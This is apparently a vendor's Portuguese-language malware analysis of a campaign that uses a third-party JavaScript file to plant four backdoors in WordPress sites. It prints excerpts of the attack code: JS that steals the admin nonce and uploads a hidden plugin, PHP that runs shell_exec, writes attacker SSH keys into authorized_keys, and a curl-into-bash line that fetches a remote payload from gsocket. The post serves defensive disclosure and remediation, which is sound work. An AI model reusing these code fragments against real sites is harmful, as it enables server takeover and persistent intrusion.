Resumo: cadeia de quatro backdoors do plugin WordPress csyndication com chaves SSH e reverse shell
- Uma brecha, quatro backdoors: As equipas de resposta a incidentes ainda partem do princípio de que um ataque client-side larga apenas uma carga maliciosa. Este largou quatro, todas a partir de um único ficheiro JavaScript de terceiros alojado em cdn.csyndication[.]com, precisamente para que a limpeza de um backdoor deixe três por resolver.
- Como a cadeia funcionou: A cadeia carregava um plugin WordPress oculto denominado ultra-seo-processor, injetava JavaScript adicional no wp-config.php, escrevia chaves SSH do atacante (ssh-rsa e ssh-ed25519) no ficheiro authorized_keys e obtinha uma reverse shell a partir de gsocket[.]io/y em 1.000 sites comprometidos, com apenas duas deteções em feeds de ameaças. A cside detetou e bloqueou a injeção de JavaScript malicioso em testes repetidos.
- Reescreva o seu runbook: Se o seu manual de remediação remove o primeiro backdoor e encerra o ticket, reescreva-o este trimestre. Assuma que qualquer falha de segurança em JS de terceiros pode implantar vários pontos de persistência e adicione inspeção de scripts em runtime que revele o ficheiro inicial antes de este se propagar.
Sem tempo? Veja o bloqueio de Magecart e skimmers no navegador da cside. Cobre tudo o que se segue numa única implementação.
Ao analisar ameaças direcionadas a frameworks WordPress, encontrámos um ataque em que um único ficheiro JavaScript de terceiros foi utilizado para injetar quatro backdoors separados em 1.000 sites comprometidos através de cdn.csyndication[.]com/.
![JavaScript malicioso de terceiros proveniente de cdn.csyndication[.]com utilizado para injetar quatro backdoors](/content/images/2025/08/Thousands-of-websites-hit-by-four-backdoors-in-3rd-party-JavaScript-attack_1.png)
Criar quatro backdoors permite aos atacantes ter múltiplos pontos de reentrada caso um deles seja detetado e removido. Um caso único que ainda não tínhamos visto. Isto introduz um novo tipo de ataque, tornado possível ao abusar de sites que não monitorizam as dependências de terceiros no navegador dos seus utilizadores.
Seguem-se as referências que encontrámos para a sua própria investigação:
Funções dos backdoors:
- Carrega um plugin WordPress malicioso através de um script oculto.
- Injeta o JavaScript malicioso.
- Adiciona chaves SSH controladas pelo atacante.
- Executa comandos remotos e obtém a carga maliciosa.
O domínio malicioso tem apenas duas deteções em feeds de ameaças.


1.º backdoor
Um ficheiro zip é codificado em base64:
<const O00O00911F_0x5aa841 = "UEsDBAoAAAAAAJizT1kAAAAAAAAAAAAAAAAUABwAdWx0cmEtc2VvLXByb2Nlc3Nvci9VVAkAA4DQ...";
Obtém a página de upload de plugins do WordPress para obter o token _wpnonce (proteção CSRF).
O00O00911F_0x2bcbf3().then(_0x58a9ee => {
if (_0x58a9ee) {
const _0x425d54 = new FormData();
_0x425d54.append("_wpnonce", _0x58a9ee);
_0x425d54.append("pluginzip", O00O00911F_0x4e0619, "ultra-seo-processor-wp.zip");
fetch("/wp-admin/update.php?action=upload-plugin", {
method: "POST",
body: _0x425d54,
credentials: "include"
})
}
});
Isto carrega e instala um plugin falso (ultra-seo-processor-wp.zip) num site WordPress. O ficheiro ZIP contém código PHP de backdoor.
Em seguida, tenta carregar outro plugin WordPress malicioso:
return fetch("/wp-admin/plugin-install.php?tab=upload", {
method: "GET",
credentials: "include"
}).then(_0x58b74d => _0x58b74d.text()).then(_0x29d24b => {
const _0x577cdd = new DOMParser();
const _0x240b0e = _0x577cdd.parseFromString(_0x29d24b, "text/html");
const _0x1bd6e5 = _0x240b0e.querySelector("input[name=\"_wpnonce\"]");
if (_0x1bd6e5) {
return _0x1bd6e5.value;
}
});
Esta função obtém um nonce de administrador do WordPress e depois tenta carregar um plugin (ultra-seo-processor-wp.zip) para /wp-admin/update.php?action=upload-plugin, o que constitui um sinal claro de modificação não autorizada ao nível de administrador.
O script tenta então executar um ficheiro de backdoor no diretório /wp-content/plugins/.
return fetch("/wp-content/plugins/ultra-seo-processor/ultra-seo-processor.php?f6975d6b0e6087dbea971c93cdce5dd2=da00c38aacde5b89aa408c8338151caa", {
method: "GET",
credentials: "include"
});
Procura diretórios de instalação do WordPress e do Laravel. Esta função PHP tenta localizar instalações do WordPress (wp-config.php, wp-blog-header.php) e do Laravel (artisan) para potencial exploração.
function findSpecialDirectories($rootDir) {
$directories = [];
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator(
$rootDir,
FilesystemIterator::SKIP_DOTS | RecursiveDirectoryIterator::FOLLOW_SYMLINKS
),
RecursiveIteratorIterator::SELF_FIRST
);
foreach ($iterator as $file) {
if ($file->isDir()) {
$path = $file->getRealPath();
if (!$path) {
continue;
}
if (
file_exists($path . DIRECTORY_SEPARATOR . 'index.php') ||
file_exists($path . DIRECTORY_SEPARATOR . 'wp-config.php') ||
file_exists($path . DIRECTORY_SEPARATOR . 'wp-blog-header.php') ||
file_exists($path . DIRECTORY_SEPARATOR . 'artisan')
) {
$directories[] = $path;
}
}
}
return array_unique($directories);
}
Análise do ultra-seo-processor.zip no 1.º backdoor
Hash do ficheiro: 3953121a6994a157e12886df45ef2aaa85390832d58915370d8c90d4f90092be
Apenas uma deteção no VirusTotal.

O ficheiro ZIP, codificado em base64 e injetado no WordPress através de um script oculto, contém:
- ultra-seo-processor.php: um plugin WordPress fraudulento que executa comandos do atacante.
- Código que oculta o plugin do painel de administração, dificultando a deteção.
- Funções que procuram, em diretórios, instalações do WordPress e do Laravel.
- Código injetado no wp-config.php para persistência.
- Instalação de chaves SSH, permitindo acesso remoto ao servidor.
Aqui está um excerto do backdoor PHP dentro do plugin:
function findSpecialDirectories($rootDir) {
$directories = [];
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator(
$rootDir,
FilesystemIterator::SKIP_DOTS | RecursiveDirectoryIterator::FOLLOW_SYMLINKS
),
RecursiveIteratorIterator::SELF_FIRST
);
foreach ($iterator as $file) {
if ($file->isDir()) {
$path = $file->getRealPath();
if (!$path) {
continue;
}
if (
file_exists($path . DIRECTORY_SEPARATOR . 'index.php') ||
file_exists($path . DIRECTORY_SEPARATOR . 'wp-config.php') ||
file_exists($path . DIRECTORY_SEPARATOR . 'wp-blog-header.php')
) {
$directories[] = $path;
}
}
}
return array_unique($directories);
}
Esta função tenta procurar instalações do WordPress; o malware foi concebido para uma implantação alargada em múltiplas instalações de CMS no mesmo servidor.
$my_execution = function($cmd) {
return shell_exec($cmd);
};
2.º Backdoor:
Injeta JavaScript malicioso no wp-config.php:
$cdn = '<?php ini_set("display_errors", 0); ini_set("display_startup_errors", 0); if (PHP_SAPI !== "cli" && (strpos(@$_SERVER["REQUEST_URI"], "/wp-admin/admin-ajax.php") === false ...';
3.º Backdoor:
Injeção de chaves SSH: adiciona chaves SSH controladas pelo atacante a ~/.ssh/authorized_keys, permitindo acesso persistente ao servidor:
$ak_a_file = $ak_base_folder.'/.ssh/authorized_keys';
@file_put_contents($ak_a_file, 'ssh-rsa AAAAB3N...');
@file_put_contents($ak_a_file, 'ssh-ed25519 AAAAC3Nza...');
4.º Backdoor:
Executa comandos remotos e obtém outra carga maliciosa a partir de gsocket[.]io/y, provavelmente criando uma reverse shell.
$my_execution = function($cmd) {
return shell_exec($cmd);
};
$my_stdout = $my_execution('bash -c "$(curl -fsSL https://gsocket[.]io/y)"');
Como proteger o seu site
Se o encontrar, remova imediatamente o plugin WordPress malicioso (ultra-seo-processor). Verifique o ficheiro .ssh/authorized_keys em busca de chaves não autorizadas e elimine-as. Investigue o wp-config.php e o index.php em busca de código injetado. Se o seu servidor web foi afetado, altere todas as credenciais de administrador do WordPress. Monitorize os registos do sistema para detetar outras atividades suspeitas.
A utilização de JavaScript de terceiros como vetor de ataque não é novidade. No entanto, a abordagem de múltiplos backdoors, que maximiza a persistência para os atacantes, é inédita. Dada a utilização generalizada de bibliotecas JS externas em todos os sites, suspeitamos que este tipo de ataque se repita.
Reproduzimos este ataque em ambiente de testes e a cside detetou e bloqueou com sucesso a injeção de JavaScript malicioso. Se estiver preocupado com possíveis infeções, o nosso sistema pode fornecer análise em tempo real e defesa proativa.
Uma campanha Magecart relacionada, identificada no mesmo período de investigação, utilizou scripts ofuscados em artifyau[.]com e quantifymy[.]com para roubar dados de cartões de pagamento de sites de comércio eletrónico comprometidos; veja o ataque Magecart da Artifyau e Quantifymy.









